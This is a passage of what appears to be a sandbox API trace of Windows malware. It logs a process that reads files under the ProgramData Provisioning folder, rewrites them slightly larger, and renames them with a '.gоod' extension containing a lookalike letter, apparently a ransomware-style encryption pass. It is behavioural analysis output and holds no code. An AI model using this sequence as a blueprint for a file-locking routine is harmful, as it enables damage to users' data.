lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43001b07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x660)) returned 1 [0118.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0118.759] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.gоod")) returned 1 [0118.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0118.760] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x354ec98 | out: lpFileInformation=0x354ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0118.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0118.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0118.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.760] GetFileType (hFile=0x20c) returned 0x1 [0118.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0118.760] GetFileType (hFile=0x20c) returned 0x1 [0118.760] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x10f [0118.760] ReadFile (in: hFile=0x20c, lpBuffer=0x354f0d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x354f0d0*, lpNumberOfBytesRead=0x1f59e768*=0x10f, lpOverlapped=0x0) returned 1 [0118.761] CloseHandle (hObject=0x20c) returned 1 [0118.795] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0118.795] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.796] GetFileType (hFile=0x20c) returned 0x1 [0118.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0118.796] GetFileType (hFile=0x20c) returned 0x1 [0118.796] WriteFile (in: hFile=0x20c, lpBuffer=0x35c6e10*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x35c6e10*, lpNumberOfBytesWritten=0x1f59e678*=0x110, lpOverlapped=0x0) returned 1 [0118.797] CloseHandle (hObject=0x20c) returned 1 [0118.797] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.797] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0118.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0118.797] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4304dead, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0118.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0118.797] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.gоod")) returned 1 [0118.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0118.807] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpFilePart=0x0) returned 0x51 [0118.807] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.808] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.808] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.809] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.809] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.809] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0118.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0118.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0118.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpFilePart=0x0) returned 0x51 [0118.809] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.809] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.809] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.810] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.810] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0118.810] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0118.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0118.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0118.810] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x35dc2f0 | out: lpFileInformation=0x35dc2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac)) returned 1 [0118.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0118.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0118.810] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0118.811] GetFileType (hFile=0x6e4) returned 0x1 [0118.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0118.811] GetFileType (hFile=0x6e4) returned 0x1 [0118.811] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x1ac [0118.811] ReadFile (in: hFile=0x6e4, lpBuffer=0x35dc798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x35dc798*, lpNumberOfBytesRead=0x1f59dd38*=0x1ac, lpOverlapped=0x0) returned 1 [0118.812] CloseHandle (hObject=0x6e4) returned 1 [0119.922] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0119.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0119.922] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0119.923] GetFileType (hFile=0x6e0) returned 0x1 [0119.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0119.923] GetFileType (hFile=0x6e0) returned 0x1 [0119.923] WriteFile (in: hFile=0x6e0, lpBuffer=0x3530948*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3530948*, lpNumberOfBytesWritten=0x1f59dc48*=0x1b0, lpOverlapped=0x0) returned 1 [0119.924] CloseHandle (hObject=0x6e0) returned 1 [0119.924] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0119.924] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0119.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0119.924] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1 [0119.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0119.924] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.gоod")) returned 1 [0119.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0119.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0119.925] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0119.925] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.925] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0119.925] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.926] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0119.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0119.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0119.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0119.926] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0119.926] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0119.926] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, 